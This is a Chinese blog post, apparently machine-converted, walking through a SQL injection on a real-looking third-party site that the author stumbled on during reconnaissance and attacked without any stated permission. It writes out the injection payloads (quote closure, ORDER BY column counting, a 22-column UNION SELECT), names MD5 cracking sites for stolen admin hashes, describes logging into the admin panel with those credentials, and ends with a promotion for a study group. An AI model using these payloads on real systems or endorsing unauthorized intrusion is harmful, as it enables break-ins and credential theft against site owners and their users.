起因:
前幾天在對某一個站點進行資訊搜集的時候,在C段(同網段如192.168.1-255中所有ip)的資訊裡面發現了某一個站點,當時看見了:
url:http://www.xxx..com/class.php?id=104
忍不住加了一個單引号來測試是否存在注入漏洞。

加了單引号之後沒有傳回資訊,果不其然,存在注入漏洞
既然來都來了,那就來一波手動fuzz,通過手動的方式擷取敏感資訊吧,正好可以和大家分享一下如何手動注入。
正常的報錯注入流程一般都是:
先判斷注入點、注入點閉合、列數判斷、得到庫資訊、表資訊、字段資訊,最後再對字段資訊進行解密可以得到管理者的賬号和密碼。
測試注入點
1. 首先是測試注入點在哪,這個是正常界面下傳回的資訊,一切正常
http://www.xxx..com/class.php?id=104
2. 常見的閉合方法測試
http://www.xxx..com/class.php?id=104’--+
http://www.xxx..com/class.php?id=104” --+
http://www.xxx..com/class.php?id=104’) --+
這些經過測試發現均傳回錯誤頁面,也就證明閉合失敗,無法成功閉合
如果不想那麼複雜的話,是不是好點?直接用order by語句判斷列數
過程如下:
- http://www.xxx.com/list.php?id=104 order by 30 --+ 傳回界面異常
- http://www.xxx.com/list.php?id=104 order by 15 --+ 傳回界面正常
- http://www.xxx.com/list.php?id=104 order by 20 --+ 傳回界面異常
- 。。。。
最後通過簡單的二分法測試得到當order by 22 --+ 的時候傳回是正常的,是以存在22列。
既然知道了存在22列,使用hackbar中的聯合注入工具來判斷報錯注入可回顯注入的點。
http://www.xxx.com/list.php?id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 --+
判斷出了16的位置是可以回顯報錯資料的,是以可以使用16這個位置來擷取所需要的資料。
首先擷取目前的資料庫資訊,擷取到目前使用資料庫名xxxw_cn
http://www.xxx.com/list.php?id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,
15,database(),17,18,19,20,21,22 --+
接下來使用同樣的手段去獲得表和字段資訊,在這裡不再進行贅述。
sqlmap一把梭
不是所有的注入都是适合手動去做的,這裡還是用sqlmap吧,一把梭。。。
首先是payload
擷取庫中的表資訊
擷取庫中的表資訊
擷取表中的字段資訊,擷取字段資訊之後将password在md5解密平台進行解密,常見的md5解密平台有
- https://cmd5.com/(需要注冊,功能強大,難度較大的需要收費解密)
- https://www.somd5.com/(免費)
- https://pmd5.com/(免費)
背景的查找上,直接在域名後面加admin是無法跳轉到背景的。
這裡有一個小技巧,直接使用搜尋引擎去搜尋,針不戳,直接就找到了
直接使用使用者的資料登入背景
由此可見網站安全的重要性,因為安全測試的不可或缺,相關崗位人才缺口達100多萬。
掌握安全測試到底有什麼用?這就意味着你履歷投出去就會被各種大廠搶着要!
推薦一個軟體測試學習交流群:785128166,群裡有分享的視訊,面試指導,測試資料,還有思維導圖、群裡有視訊,都是幹貨的,你可以下載下傳來看。主要分享測試基礎、接口測試、性能測試、自動化測試、TestOps架構、Jmeter、LoadRunner、Fiddler、MySql、Linux、履歷優化、面試技巧以及大型測試項目實戰視訊資料。合理利用自己每一分每一秒的時間來學習提升自己,不要再用"沒有時間“來掩飾自己思想上的懶惰!趁年輕,使勁拼,給未來的自己一個交代!
公衆号:程式員二黑, 關注後免費領取海量學習資料。
好東西要和朋友一起分享哦